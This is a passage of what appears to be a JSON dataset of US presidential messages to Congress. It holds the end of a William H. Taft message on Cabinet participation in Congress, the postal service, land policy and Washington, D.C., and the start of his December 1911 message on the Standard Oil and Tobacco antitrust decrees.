House upon issues which the\ninformation of a particular department head would have enabled him, if\npresent, to end at once by a simple explanation or statement. Time and time\nagain a forceful and earnest presentation of facts and arguments by the\nrepresentative of the Executive whose duty it is to enforce the law would\nhave brought about a useful reform by amendment, which in the absence of\nsuch a statement has failed of passage. I do not think I am mistaken in\nsaying that the presence of the members of the Cabinet on the floor of each\nHouse would greatly contribute to the enactment of beneficial legislation.\nNor would this in any degree deprive either the legislative or the\nexecutive of the independence which separation of the two branches has been\nintended to promote. It would only facilitate their cooperation in the\npublic interest.On the other hand, I am sure that the necessity and duty imposed upon\ndepartment heads of appearing in each house and in answer to searching\nquestions, of rendering upon their feet an account of what they have done,\nor what has been done by the administration, will spur each member of the\nCabinet to closer attention to the details of his department, to greater\nfamiliarity with its needs, and to greater care to avoid the just criticism\nwhich the answers brought out in questions put and discussions arising\nbetween the Members of either House and the members of the Cabinet may\nproperly evoke.Objection is made that the members of the administration having no vote\ncould exercise no power on the floor of the House, and could not assume\nthat attitude of authority and control which the English parliamentary\nGovernment have and which enables them to meet the responsibilities the\nEnglish system thrusts upon them. I agree that in certain respects it would\nbe more satisfactory if members of the Cabinet could at the same time be\nMembers of both Houses, with voting power, but this is impossible under our\nsystem; and while a lack of this feature may detract from the influence of\nthe department chiefs, it will not prevent the good results which I have\ndescribed above both in the matter of legislation and in the matter of\nadministration. The enactment of such a law would be quite within the power\nof Congress without constitutional amendment, and it has such possibilities\nof usefulness that we might well make the experiment, and if we are\ndisappointed the misstep can be easily retraced by a repeal of the enabling\nlegislation.This is not a new proposition. In the House of Representatives, in the\nThirty-eighth Congress, the proposition was referred to a select committee\nof seven Members. The committee made an extensive report, and urged the\nadoption of the reform. The report showed that our history had not been\nwithout illustration of the necessity and the examples of the practice by\npointing out that in early days Secretaries were repeatedly called to the\npresence of either Rouse for consultation, advice, and information. It also\nreferred to remarks of Mr. justice Story in his Commentaries on the\nConstitution, in which he urgently presented the wisdom of such a change.\nThis report is to be found in Volume I of the Reports of Committees of the\nFirst Session of the Thirty-eighth Congress, April 6, 1864.Again, on February 4, 1881, a select committee of the Senate recommended\nthe passage of a similar bill, and made a report, In which, while approving\nthe separation of the three branches, the executive, legislative, and\njudicial, they point out as a reason for the proposed change that, although\nhaving a separate existence, the branches are \"to cooperate, each with the\nother, as the different members of the human body must cooperate, with each\nother in order to form the figure and perform the duties of a perfect\nman.\"The report concluded as follows: This system will require the selection of\nthe strongest men to be heads of departments and will require them to be\nwell equipped with the knowledge of their offices. It will also require the\nstrongest men to be the leaders of Congress and participate in debate. It\nwill bring these strong men in contact, perhaps into conflict, to advance\nthe public weal, and thus stimulate their abilities and their efforts, and\nwill thus assuredly result to the good of the country.If it should appear by actual experience that the heads of departments in\nfact have not time to perform the additional duty imposed on them by this\nbill, the force in their offices should be increased or the duties\ndevolving on them personally should be diminished. An undersecretary should\nbe appointed to whom could be confided that routine of administration which\nrequires only order and accuracy. The principal officers could then confine\ntheir attention to those duties which require wise discretion and\nintellectual activity. Thus they would have abundance of time for their\nduties under this bill. Indeed, your committee believes that the public\ninterest would be subserved if the Secretaries were relieved of the\nharassing cares of distributing clerkships and closely supervising the mere\nmachinery of the departments. Your committee believes that the adoption of\nthis bill and the effective execution of its provisions will be the first\nstep toward a sound civil-service reform which will secure a larger wisdom\nin the adoption of policies and a better system in their execution.(Signed)\nGEO. H. PENDLETON. W. B. ALLISON. D. W. VOORHEES. J. G. BLAINE. M. C.\nBUTLER. JOHN J. INGALLS. O. H. PLATT. J. T. FARLEY. It would be difficult\nto mention the names of higher authority in the practical knowledge of our\nGovernment than those which are appended to this report.POSTAL SAVINGS BANK SYSTEMThe Postal Savings Bank System has been extended so that it now includes\n4,004 fourth-class post offices', as well as 645 branch offices and\nstations in the larger cities. There are now 12,812 depositories at which\npatrons of the system may open accounts. The number of depositors is\n300,000 and the amount of their deposits is approximately $28,000,000, not\nincluding $1,314,140 which has been with drawn by depositors for the\npurpose of buying postal savings bonds. Experience demonstrates the value\nof dispensing with the pass-book and introducing in its place a certificate\nof deposit. The gross income of the postal savings system for the fiscal\nyear ending June 30, 1913, will amount to $700,000 and the interest payable\nto depositors to $300,000. The cost of supplies, equipment, and salaries is\n$700,000. It thus appears that the system lacks $300,000 a year of paying\ninterest and expenses. It is estimated, however, that when the deposits\nhave reached the sum Of $50,000,000, which at the present rate they soon\nwill do, the system will be self-sustaining. By law the postal savings\nfunds deposited at each post office are required to be redeposited in local\nbanks. State and national banks to the number of 7,357 have qualified as\ndepositories for these funds. Such deposits are secured by bonds\naggregating $54,000,000. Of this amount, $37,000,000 represent municipal\nbonds.PARCEL POSTIn several messages I have favored and recommended the adoption of a system\nof parcel post. In the postal appropriation act of last year a general\nsystem was provided and its installation was directed by the 1st of\nJanuary. This has entailed upon the Post Office Department a great deal of\nvery heavy labor, but the Postmaster General informs me that on the date\nselected, to wit, the 1st of January, near at hand, the department will be\nin readiness to meet successfully the requirements of the public.CLASSIFICATION OF POSTMASTERSA trial, during the past three years, of the system of classifying\nfourth-class postmasters in that part of the country lying between the\nMississippi River on the west, Canada on the north, the Atlantic Ocean on\nthe east, and Mason and Dixon's line on the south has been sufficiently\nsatisfactory to justify the postal authorities in recommending the\nextension of the order to include all the fourth-class postmasters in the\ncountry. In September, 1912, upon the suggestion of the Postmaster General,\nI directed him to prepare an order which should put the system in effect,\nexcept in Alaska, Guam, Hawaii, Porto Rico, and Samoa. Under date of\nOctober 15 I issued such an order which affected 36,000 postmasters. By the\norder the post offices were divided into groups A and B. Group A includes\nall postmasters whose compensation is $500 or more, and group B those whose\ncompensation is less than that sum. Different methods are pursued in the\nselection of the postmasters for group A and group, B. Criticism has been\nmade of this order on the ground that the motive for it was political.\nNothing could be further from the truth. The order was made before the\nelection and in the interest of efficient public service. I have several\ntimes requested Congress to give me authority to put first-, second-, and\nthird-class postmasters, and all other local officers, including\ninternal-revenue officers, customs officers, United States marshals, and\nthe local agents of the other departments under the classification of the\ncivil-service law by taking away the necessity for confirming such\nappointments by the Senate. I deeply regret the failure of Congress to\nfollow these recommendations. The change would have taken out of politics\npractically every local officer and would have entirely cured the evils\ngrowing out of what under the present law must always remain a remnant of\nthe spoils system.COMPENSATION TO RAILWAYS FOR CARRYING MAILSIt is expected that the establishment of a parcel post on January 1st will\nlargely increase the amount of mail matter to be transported by the\nrailways, and Congress should be prompt to provide a way by which they may\nreceive the additional compensation to which they will be entitled. The\nPostmaster General urges that the department's plan for a complete\nreadjustment of the system of paying the railways for carrying the mails be\nadopted, substituting space for weight as the principal factor in fixing\ncompensation. Under this plan it will be possible to determine without\ndelay what additional payment should be made on account of the parcel post.\nThe Postmaster General's recommendation is based on the results of a\nfar-reaching investigation begun early in the administration with the\nobject of determining what it costs the railways to carry the mails. The\nstatistics obtained during the course of the inquiry show that while many\nof the railways, and particularly the large systems, were making profits\nfrom mail transportations, certain of the lines were actually carrying the\nmails at a loss. As a result of the investigation the department, after\ngiving the subject careful consideration, decided to urge the abandonment\nof the present plan of fixing compensation on the basis of the weight of\nthe mails carried, a plan that has proved to be exceedingly expensive and\nin other respects unsatisfactory. Under the method proposed the railway\ncompanies will annually submit to the department reports showing what it\ncosts them to carry the mails, and this cost will be apportioned on the\nbasis of the car space engaged, payment to be allowed at the rate thus\ndetermined in amounts that will cover the cost and a reasonable profit. If\na railway is not satisfied with the manner in which the department\napportions the cost in fixing compensation, it is to have the right, tinder\nthe new plan, of appealing to the Interstate Commerce Commission. This\nfeature of the proposed law would seem to insure a fair treatment of the\nrailways. It is hoped that Congress will give the matter immediate\nattention and that the method of compensation recommended by the department\nor some other suitable plan will be promptly authorized.DEPARTMENT OF THE INTERIORThe Interior Department, in the problems of administration included within\nits jurisdiction, presents more difficult questions than any other. This\nhas been due perhaps to temporary causes of a political character, but more\nespecially to the inherent difficulty in the performance of some of the\nfunctions which are assigned to it. Its chief duty is the guardianship of\nthe public domain and the disposition of that domain to private ownership\nunder homestead, mining, and other laws, by which patents from the\nGovernment to the individual are authorized on certain conditions. During\nthe last decade the public seemed to become suddenly aware that a very\nlarge part of its domain had passed from its control into private\nownership, under laws not well adapted to modern conditions, and also that\nin the doing of this the provisions of existing law and regulations adopted\nin accordance with law had not been strictly observed, and that in the\ntransfer of title much fraud had intervened, to the pecuniary benefit of\ndishonest persons. There arose thereupon a demand for conservation of the\npublic domain, its protection against fraudulent diminution, and the\npreservation of that part of it from private acquisition which it seemed\nnecessary to keep for future public use. The movement, excellent in the\nintention which prompted it, and useful in its results, has nevertheless\nhad some bad effects, which the western country has recently been feeling\nand in respect of which there is danger of a reaction toward older abuses\nunless we can attain the golden mean, which consists in the prevention of\nthe mere exploitation of the public domain for private purposes while at\nthe same, time facilitating its development for the benefit of the local\npublic.The land laws need complete revision to secure proper conservation on the\none hand of land that ought to be kept in public use and, on the other\nhand, prompt disposition of those lands which ought to be disposed in\nprivate ownership or turned over to private use by properly guarded leases.\nIn addition to this there are not enough officials in our Land Department\nwith legal knowledge sufficient promptly to make the decisions which are\ncalled for. The whole land-laws system should be reorganized, and not until\nit is reorganized, will decisions be made as promptly as they ought, or\nwill men who have earned title to public land under the statute receive\ntheir patents within a reasonably short period. The present administration\nhas done what it could in this regard, but the necessity for reform and\nchange by a revision of the laws and an increase and reorganization of the\nforce remains, and I submit to Congress the wisdom of a full examination of\nthis subject, in order that a very large and important part of our people\nin the West may be relieved from a just cause of irritation.I invite your attention to the discussion by the Secretary of the Interior\nof the need for legislation with respect to mining claims, leases of coal\nlands in this country and in Alaska, and for similar disposition of oil,\nphosphate, and potash lands, and also to his discussion of the proper use\nto be made of water-power sites held by the Government. Many of these lands\nare now being withheld from use by the public under the general withdrawal\nact which was passed by the last Congress. That act was not for the purpose\nof disposing of the question, but it was for the purpose of preserving the\nlands until the question could be solved. I earnestly urge that the matter\nis of the highest importance to our western fellow citizens and ought to\ncommand the immediate attention of the legislative branch of the\nGovernment.Another function which the Interior Department has to perform is that of\nthe guardianship of Indians. In spite of everything which has been said in\ncriticism of the policy of our Government toward the Indians, the amount of\nwealth which is now held by it for these wards per capita shows that the\nGovernment has been generous; but the management of so large an estate,\nwith the great variety of circumstances that surround each tribe and each\ncase, calls for the exercise of the highest business discretion, and the\nmachinery provided in the Indian Bureau for the discharge of this function\nis entirely inadequate. The position of Indian commissioner demands the\nexercise of business ability of the first order, and it is difficult to\nsecure such talent for the salary provided.The condition of health of the Indian and the prevalence in the tribes of\ncurable diseases has been exploited recently in the press. In a message to\nCongress at its last session I brought this subject to its attention and\ninvited a special appropriation, in order that our facilities for\novercoming diseases among the Indians might be properly increased, but no\naction was then taken by Congress on the subject, nor has such\nappropriation been made since.The commission appointed by authority of the Congress to report on proper\nmethod of securing railroad development in Alaska is formulating its\nreport, and I expect to have an opportunity before the end of this session\nto submit its recommendations.DEPARTMENT OF AGRICULTUREThe far-reaching utility of the educational system carried on by the\nDepartment of Agriculture for the benefit of the farmers of our country\ncalls for no elaboration. Each year there is a growth in the variety of\nfacts which it brings out for the benefit of the farmer, and each year\nconfirms the wisdom of the expenditure of the appropriations made for that\ndepartment.PURE-FOOD LAWThe Department of Agriculture is charged with the execution of the\npure-food law. The passage of this encountered much opposition from\nmanufacturers and others who feared the effect upon their business of the\nenforcement of its provisions. The opposition aroused the just indignation\nof the public, and led to an intense sympathy with the severe and rigid\nenforcement of the provisions of the new law. It had to deal in many\ninstances with the question whether or not products of large business\nenterprises, in the form of food preparations, were deleterious to the\npublic health; and while in a great majority of instances this issue was\neasily determinable, there were not a few cases in which it was hard to\ndraw the line between a useful and a harmful food preparation. In cases\nlike this when a decision involved the destruction of great business\nenterprises representing the investment of large capital and the\nexpenditure of great energy and ability, the danger of serious injustice\nwas very considerable in the enforcement of a new law under the spur of\ngreat public indignation. The public officials charged with executing the\nlaw might do injustice in heated controversy through unconscious pride of\nopinion and obstinacy of conclusion. For this reason President Roosevelt\nfelt justified in creating a board of experts, known as the Remsen Board,\nto whom in cases of much importance an appeal might be taken and a review\nhad of a decision of the Bureau of Chemistry in the Agricultural\nDepartment. I heartily agree that it was wise to create this board in order\nthat injustice might not be done. The questions which arise are not\ngenerally those involving palpable injury to health, but they are upon the\nnarrow and doubtful line in respect of which it is better to be in some\nerror not dangerous than to be radically destructive. I think that the time\nhas come for Congress to recognize the necessity for some such tribunal of\nappeal and to make specific statutory provision for it. While we are\nstruggling to suppress an evil of great proportions like that of impure\nfood, we must provide machinery in the law itself to prevent its becoming\nan instrument of oppression, and we ought to enable those whose business is\nthreatened with annihilation to have some tribunal and some form of appeal\nin which they have a complete day in court.AGRICULTURAL CREDITSI referred in my first message to the question of improving the system of\nagricultural credits. The Secretary of Agriculture has made an\ninvestigation into the matter of credits in this country, and I commend a\nconsideration of the information which through his agents he has been able\nto collect. It does not in any way minimize the importance of the proposal,\nbut it gives more accurate information upon some of the phases of the\nquestion than we have heretofore had.DEPARTMENT OF COMMERCE AND LABORI commend to Congress an examination of the report of the Secretary of\nCommerce and Labor, and especially that part in which he discusses the\noffice of the Bureau of Corporations, the value to commerce of a proposed\ntrade commission, and the steps which he has taken to secure the\norganization of a national chamber of commerce. I heartily commend his view\nthat the plan of a trade commission which looks to the fixing of prices is\naltogether impractical and ought not for a moment to be considered as a\npossible solution of the trust question.The trust question in the enforcement of the Sherman antitrust law is\ngradually solving itself, is maintaining the principle and restoring the\npractice of competition, and if the law is quietly but firmly enforced,\nbusiness will adjust itself to the statutory requirements, and the unrest\nin commercial circles provoked by the trust discussion will disappear.PANAMA-PACIFIC INTERNATIONAL EXPOSITIONIn conformity with a joint resolution of Congress, an Executive\nproclamation was issued last February, inviting the nations of the world to\nparticipate in the Panama-Pacific International Exposition to be held at\nSan Francisco to celebrate the construction of the Panama, Canal. A\nsympathetic response was immediately forthcoming, and several nations have\nalready selected the sites for their buildings. In furtherance of my\ninvitation, a special commission visited European countries during the past\nsummer, and received assurance of hearty cooperation in the task of\nbringing together a universal industrial, military, and naval display on an\nunprecedented scale. It is evident that the exposition will be an accurate\nmirror of the world's activities as they appear 400 years after the date of\nthe discovery of the Pacific Ocean.It is the duty of the United States to make the nations welcome at San\nFrancisco and to facilitate such acquaintance between them and ourselves as\nwill promote the expansion of commerce and familiarize the world with the\nnew trade route through the Panama Canal. The action of the State\ngovernments and individuals assures a comprehensive exhibit of the\nresources of this country and of the progress of the people. This\nparticipation by State and individuals should be supplemented by an\nadequate showing of the varied and unique activities of the National\nGovernment. The United States can not with good grace invite foreign\ngovernments to erect buildings and make expensive exhibits while itself\nrefusing to participate. Nor would it be wise to forego the opportunity to\njoin with other nations in the inspiring interchange of ideas tending to\npromote intercourse, friendship, and commerce. It is the duty of the\nGovernment to foster and build up commerce through the canal, just as it\nwas the duty of the Government to construct it.I earnestly recommend the appropriation at this session of such a sum as\nwill enable the United States to construct a suitable building, install a\ngovernmental exhibit, and otherwise participate in the Panama-Pacific\nInternational Exposition in a manner commensurate with the dignity of a\nnation whose guests are to be the people of the world. I recommend also\nsuch legislation as will facilitate the entry of material intended for\nexhibition and protect foreign exhibitors against infringement of patents\nand the unauthorized copying of patterns and designs. All aliens sent to\nSan Francisco to construct and care for foreign buildings and exhibits\nshould be admitted without restraint or embarrassment.THE DISTRICT OF COLUMBIA AND THE CITY OF WASHINGTONThe city of Washington is a beautiful city, with a population of 352,936,\nof whom 98,667 are colored. The annual municipal budget is about\n$14,000,000. The presence of the National Capital and other governmental\nstructures constitutes the chief beauty and interest of the city. The\npublic grounds are extensive, and the opportunities for improving the city\nand making it still more attractive are very great. Under a plan adopted\nsome years ago, one half the cost of running the city is paid by taxation\nupon the property, real and personal, of the citizens and residents, and\nthe other half is borne by the General Government. The city is expanding at\na remarkable rate, and this can only be accounted for by the coming here\nfrom other parts of the country of well-to-do people who, having finished\ntheir business careers elsewhere, build and make this their permanent place\nof residence.On the whole, the city as a municipality is very well governed. It is well\nlighted, the water supply is good, the streets are well paved, the police\nforce is well disciplined, crime is not flagrant, and while it has purlieus\nand centers of vice, like other large cities, they are not exploited, they\ndo not exercise any influence or control in the government of the city, and\nthey are suppressed in as far as it has been found practicable. Municipal\ngraft is inconsiderable. There are interior courts in the city that are\nnoisome and centers of disease and the refuge of criminals, but Congress\nhas begun to clean these out, and progress has been made in the case of the\nmost notorious of these, which is known as \"Willow Tree Alley.\" This\nmovement should continue.The mortality for the past year was at the rate Of 17.80 per 1,000 of both\nraces; among the whites it was 14.61 per thousand, and among the blacks\n26.12 per thousand. These are the lowest mortality rates ever recorded in\nthe District.One of the most crying needs in the government of the District is a\ntribunal or public authority for the purpose of supervising the\ncorporations engaged in the operation of public utilities. Such a bill is\npending in Congress and ought to pass. Washington should show itself under\nthe direction of Congress to be a city with a model form of government, but\nas long as such authority over public utilities is withheld from the\nmunicipal government, it must always be defective.Without undue criticism of the present street railway accommodations, it\ncan be truly said that under the spur of a public utilities commission they\nmight be substantially improved.While the school system of Washington perhaps might be bettered in the\neconomy of its management and the distribution of its buildings, its\nusefulness has nevertheless greatly increased in recent years, and it now\noffers excellent facilities for primary and secondary education.From time to time there is considerable agitation in Washington in favor of\ngranting the citizens of the city the franchise and constituting an\nelective government. I am strongly opposed to this change. The history of\nWashington discloses a number of experiments of this kind, which have\nalways been abandoned as unsatisfactory. The truth is this is a city\ngoverned by a popular body, to wit, the Congress of the United States,\nselected from the people of the United States, who own Washington. The\npeople who come here to live do so with the knowledge of the origin of the\ncity and the restrictions, and therefore voluntarily give up the privilege\nof living in a municipality governed by popular vote. Washington is so\nunique in its origin and in its use for housing and localizing the\nsovereignty of the Nation that the people who live here must regard its\npeculiar character and must be content to subject themselves to the control\nof a body selected by all the people of the Nation. I agree that there are\ncertain inconveniences growing out of the government of a city by a\nnational legislature like Congress, and it would perhaps be possible to\nlessen these by the delegation by Congress to the District Commissioners of\ngreater legislative power for the enactment of local laws than they now\npossess, especially those of a police character.Every loyal American has a personal pride in the beauty of Washington and\nin its development and growth. There is no one with a proper appreciation\nof our Capital City who would favor a niggardly policy in respect to\nexpenditures from the National Treasury to add to the attractiveness of\nthis city, which belongs to every citizen of the entire country, and which\nno citizen visits without a sense of pride of ownership. We have had\nrestored by a Commission of Fine Arts, at the instance of a committee of\nthe Senate, the original plan of the French engineer L'Enfant for the city\nof Washington, and we know with great certainty the course which the\nimprovement of Washington should take. Why should there be delay in making\nthis improvement in so far as it involves the extension of the parking\nsystem and the construction of greatly needed public buildings?\nAppropriate buildings for the State Department, the Department of justice,\nand the Department of Commerce and Labor have been projected, plans have\nbeen approved, and nothing is wanting but the appropriations for the\nbeginning and completion of the structures. A hall of archives is also\nbadly needed, but nothing has been done toward its construction, although\nthe land for it has long been bought and paid for. Plans have been made for\nthe union of Potomac Park with the valley of Rock Creek and Rock Creek\nPark, and the necessity for the connection between the Soldiers' Home and\nRock Creek Park calls for no comment. I ask again why there should be delay\nin carrying out these plans We have the money in the Treasury, the plans\nare national in their scope, and the improvement should be treated as a\nnational project. The plan will find a hearty approval throughout the\ncountry. I am quite sure, from the information which I have, that, at\ncomparatively small expense, from that part of the District of Columbia\nwhich was retroceded to Virginia, the portion including the Arlington\nestate, Fort Myer, and the palisades of the Potomac can be acquired by\npurchase and the jurisdiction of the State of Virginia over this land ceded\nto the Nation. This ought to be done.The construction of the Lincoln Memorial and of a memorial bridge from the\nbase of the Lincoln Monument to Arlington would be an appropriate and\nsymbolic expression of the union of the North and the South at the Capital\nof the Nation. I urge upon Congress the appointment of a commission to\nundertake these national improvements, and to submit a plan for their\nexecution; and when the plan has been submitted and approved, and the work\ncarried out, Washington will really become what it ought to be--the most\nbeautiful city in the world.", 
+    "name": "William H. Taft"
+}
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+{
+    "date": "December 5, 1911", 
+    "speech": "PART IThis message is the first of several which I shall send to Congress during\nthe interval between the opening of its regular session and its adjournment\nfor the Christmas holidays. The amount of information to be communicated as\nto the operations of the Government, the number of important subjects\ncalling for comment by the Executive, and the transmission to Congress of\nexhaustive reports of special commissions, make it impossible to include in\none message of a reasonable length a discussion of the topics that ought to\nbe brought to the attention of the National Legislature at its first\nregular session.THE ANTI-TRUST LAW-THE SUPREME COURT DECISIONS.In May last the Supreme Court handed down decisions in the suits in equity\nbrought by the United States to enjoin the further maintenance of the\nStandard Oil Trust and of the American Tobacco Trust, and to secure their\ndissolution. The decisions are epoch-making and serve to advise the\nbusiness world authoritatively of the scope and operation of the anti-trust\nact of 1890. The decisions do not depart in any substantial way from the\nprevious decisions of the court in construing and applying this important\nstatute, but they clarify those decisions by further defining the already\nadmitted exceptions to the literal construction of the act. By the decrees,\nthey furnish a useful precedent as to the proper method of dealing with the\ncapital and property of illegal trusts. These decisions suggest the need\nand wisdom of additional or supplemental legislation to make it easier for\nthe entire business community to square with the rule of action and\nlegality thus finally established and to preserve the benefit, freedom, and\nspur of reasonable competition without loss of real efficiency or\nprogress.NO CHANGE IN THE RULE OF DECISION-MERELY IN ITS FORM OF EXPRESSION.The statute in its first section declares to be illegal \"every contract,\ncombination in the form of trust or otherwise, or conspiracy, in restraint\nof trade or commerce among the several States or with foreign nations,\" and\nin the second, declares guilty of a misdemeanor \"every person who shall\nmonopolize or attempt to monopolize or combine or conspire with any other\nperson to monopolize any part of the trade or commerce of the several\nStates or with foreign nations.\"In two early cases, where the statute was invoked to enjoin a\ntransportation rate agreement between interstate railroad companies, it was\nheld that it was no defense to show that the agreement as to rates\ncomplained of was reasonable at common law, because it was said that the\nstatute was directed against all contracts and combinations in restraint of\ntrade whether reasonable at common law or not. It was plain from the\nrecord, however, that the contracts complained of in those cases would not\nhave been deemed reasonable at common law. In subsequent cases the court\nsaid that the statute should be given a reasonable construction and refused\nto include within its inhibition, certain contractual restraints of trade\nwhich it denominated as incidental or as indirect.These cases of restraint of trade that the court excepted from the\noperation of the statute were instances which, at common law, would have\nbeen called reasonable. In the Standard Oil and Tobacco cases, therefore,\nthe court merely adopted the tests of the common law, and in defining\nexceptions to the literal application of the statute, only substituted for\nthe test of being incidental or indirect, that of being reasonable, and\nthis, without varying in the slightest the actual scope and effect of the\nstatute. In other words, all the cases under the statute which have now\nbeen decided would have been decided the same way if the court had\noriginally accepted in its construction the rule at common law.It has been said that the court, by introducing into the construction of\nthe statute common-law distinctions, has emasculated it. This is obviously\nuntrue. By its judgment every contract and combination in restraint of\ninterstate trade made with the purpose or necessary effect of controlling\nprices by stifling competition, or of establishing in whole or in part a\nmonopoly of such trade, is condemned by the statute. The most extreme\ncritics can not instance a case that ought to be condemned under the\nstatute which is not brought within its terms as thus construed.The suggestion is also made that the Supreme Court by its decision in the\nlast two cases has committed to the court the undefined and unlimited\ndiscretion to determine whether a case of restraint of trade is within the\nterms of the statute. This is wholly untrue. A reasonable restraint of\ntrade at common law is well understood and is clearly defined. It does not\nrest in the discretion of the court. It must be limited to accomplish the\npurpose of a lawful main contract to which, in order that it shall be\nenforceable at all, it must be incidental. If it exceed the needs of that\ncontract, it is void.The test of reasonableness was never applied by the court at common law to\ncontracts or combinations or conspiracies in restraint of trade whose\npurpose was or whose necessary effect would be to stifle competition, to\ncontrol prices, or establish monopolies. The courts never assumed power to\nsay that such contracts or combinations or conspiracies might be lawful if\nthe parties to them were only moderate in the use of the power thus secured\nand did not exact from the public too great and exorbitant prices. It is\ntrue that many theorists, and others engaged in business violating the\nstatute, have hoped that some such line could be drawn by courts; but no\ncourt of authority has ever attempted it. Certainly there is nothing in the\ndecisions of the latest two cases from which such a dangerous theory of\njudicial discretion in enforcing this statute can derive the slightest\nsanction.FORCE AND EFFECTIVENESS OF STATUTE A MATTER OF GROWTH.We have been twenty-one years making this statute effective for the\npurposes for which it was enacted. The Knight case was discouraging and\nseemed to remit to the States the whole available power to attack and\nsuppress the evils of the trusts. Slowly, however, the error of that\njudgment was corrected, and only in the last three or four years has the\nheavy hand of the law been laid upon the great illegal combinations that\nhave exercised such an absolute dominion over many of our industries.\nCriminal prosecutions have been brought and a number are pending, but\njuries have felt averse to convicting for jail sentences, and judges have\nbeen most reluctant to impose such sentences on men of respectable standing\nin society whose offense has been regarded as merely statutory. Still, as\nthe offense becomes better understood and the committing of it partakes\nmore of studied and deliberate defiance of the law, we can be confident\nthat juries will convict individuals and that jail sentences will be\nimposed.THE REMEDY IN EQUITY BY DISSOLUTION.In the Standard Oil case the Supreme and Circuit Courts found the\ncombination to be a monopoly of the interstate business of refining,\ntransporting, and marketing petroleum and its products, effected and\nmaintained through thirty-seven different corporations, the stock of which\nwas held by a New Jersey company. It in effect commanded the dissolution of\nthis combination, directed the transfer and pro rata distribution by the\nNew Jersey company of the stock held by it in the thirty-seven corporations\nto and among its stockholders; and the corporations and individual\ndefendants were enjoined from conspiring or combining to restore such\nmonopoly; and all agreements between the subsidiary corporations tending to\nproduce or bring about further violations of the act were enjoined.In the Tobacco case, the court found that the individual defendants,\ntwenty-nine in number, had been engaged in a successful effort to acquire\ncomplete dominion over the manufacture, sale, and distribution of tobacco\nin this country and abroad, and that this had been done by combinations\nmade with a purpose and effect to stifle competition, control prices, and\nestablish a monopoly, not only in the manufacture of tobacco, but also of\ntin-foil and licorice used in its manufacture and of its products of\ncigars, cigarettes, and snuffs. The tobacco suit presented a far more\ncomplicated and difficult case than the Standard Oil suit for a decree\nwhich would effectuate the will of the court and end the violation of the\nstatute. There was here no single holding company as in the case of the\nStandard Oil Trust. The main company was the American Tobacco Company, a\nmanufacturing, selling, and holding company. The plan adopted to destroy\nthe combination and restore competition involved the redivision of the\ncapital and plants of the whole trust between some of the companies\nconstituting the trust and new companies organized for the purposes of the\ndecree and made parties to it, and numbering, new and old, fourteen.SITUATION AFTER READJUSTMENT.The American Tobacco Company (old), readjusted capital, $92, 000,000; the\nLiggett & Meyers Tobacco Company (new), capital, $67,000,000; the P.\nLorillard Company (new), capital, $47,000,000; and the R. J. Reynolds\nTobacco Company (old), capital, $7,525,000, are chiefly engaged in the\nmanufacture and sale of chewing and smoking tobacco and cigars. The former\none tinfoil company is divided into two, one of $825,000 capital and the\nother of $400,000. The one snuff company is divided into three companies,\none with a capital Of $15,000,000, another with a capital of $8,000,000,\nand a third with a capital of $8,000,000. The licorice companies are two\none with a capital Of $5,758,300 and another with a capital of $200,000.\nThere is, also, the British-American Tobacco Company, a British\ncorporation, doing business abroad with a capital Of $26,000,000, the Porto\nRican Tobacco Company, with a capital of $1,800,000, and the corporation of\nUnited Cigar Stores, with a capital of $9,000,000.Under this arrangement, each of the different kinds of business will be\ndistributed between two or more companies with a division of the prominent\nbrands in the same tobacco products, so as to make competition not only\npossible but necessary. Thus the smoking-tobacco business of the country is\ndivided so that the present independent companies have 21-39 per cent,\nwhile the American Tobacco Company will have 33-08 per cent, the Liggett &\nMeyers 20.05 per cent, the Lorillard Company 22.82 per cent, and the\nReynolds Company 2.66 per cent. The stock of the other thirteen companies,\nboth preferred and common, has been taken from the defendant American\nTobacco Company and has been distributed among its stockholders. All\ncovenants restricting competition have been declared null and further\nperformance of them has been enjoined. The preferred stock of the different\ncompanies has now been given voting power which was denied it under the old\norganization. The ratio of the preferred stock to the common was as 78 to\n40. This constitutes a very decided change in the character of the\nownership and control of each company.In the original suit there were twenty-nine defendants who were charged\nwith being the conspirators through whom the illegal combination acquired\nand exercised its unlawful dominion. Under the decree these defendants.\nwill hold amounts of stock in the various distributee companies ranging\nfrom 41 per cent as a maximum to 28.5 per cent as a minimum, except in the\ncase of one small company, the Porto Rican Tobacco Company, in which they\nwill hold 45 per cent. The twenty-nine individual defendants are enjoined\nfor three years from buying any stock except from each other, and the group\nis thus prevented from extending its control during that period. All\nparties to the suit, and the new companies who are made parties are\nenjoined perpetually from in any way effecting any combination between any\nof the companies in violation of the statute by way of resumption of the\nold trust. Each of the fourteen companies is enjoined from acquiring stock\nin any of the others. All these companies are enjoined from having common\ndirectors or officers, or common buying or selling agents, or common\noffices, or lending money to each other.SIZE OF NEW COMPANIES.Objection was made by certain independent tobacco companies that this\nsettlement was unjust because it left companies with very large capital in\nactive business, and that the settlement that would be effective to put all\non an equality would be a division of the capital and plant of the trust\ninto small fractions in amount more nearly equal to that of each of the\nindependent companies. This contention results from a misunderstanding of\nthe anti-trust law and its purpose. It is not intended thereby to prevent\nthe accumulation of large capital in business enterprises in which such a\ncombination can secure reduced cost of production, sale, and distribution.\nIt is directed against such an aggregation of capital only when its purpose\nis that of stifling competition, enhancing or controlling prices, and\nestablishing a monopoly. If we shall have by the decree defeated these\npurposes and restored competition between the large units into which the\ncapital and plant have been divided, we shall have accomplished the useful\npurpose of the statute.CONFISCATION NOT THE PURPOSE OF THE STATUTE.It is not the purpose of the statute to confiscate the property and capital\nof the offending trusts. Methods of punishment by fine or imprisonment of\nthe individual offenders, by fine of the corporation or by forfeiture of\nits goods in transportation, are provided, but the proceeding in equity is\na specific remedy to stop the operation of the trust by injunction and\nprevent the future use of the plant and capital in violation of the\nstatute.EFFECTIVENESS OF DECREE.I venture to say that not in the history of American law has a decree more\neffective for such a purpose been entered by a court than that against the\nTobacco Trust. As Circuit judge Noyes said in his judgment approving the\ndecree:\"The extent to which it has been necessary to tear apart this combination\nand force it into new forms with the attendant burdens ought to demonstrate\nthat the Federal anti-trust statute is a drastic statute which accomplishes\neffective results; which so long as it stands on the statute books must be\nobeyed, and which can not be disobeyed without incurring far-reaching\npenalties. And, on the other hand, the successful reconstruction of this\norganization should teach that the effect of enforcing this statute is not\nto destroy, but to reconstruct; not to demolish, but to re-create in\naccordance with the conditions which the Congress has declared shall exist\namong the people of the United States.\"COMMON STOCK OWNERSHIP.It has been assumed that the present pro rata and common ownership in all\nthese companies by former stockholders of the trust would insure a\ncontinuance of the same old single control of all the companies into which\nthe trust has by decree been disintegrated. This is erroneous and is based\nupon the assumed inefficacy and innocuousness of judicial injunctions. The\ncompanies are enjoined from cooperation or combination; they have 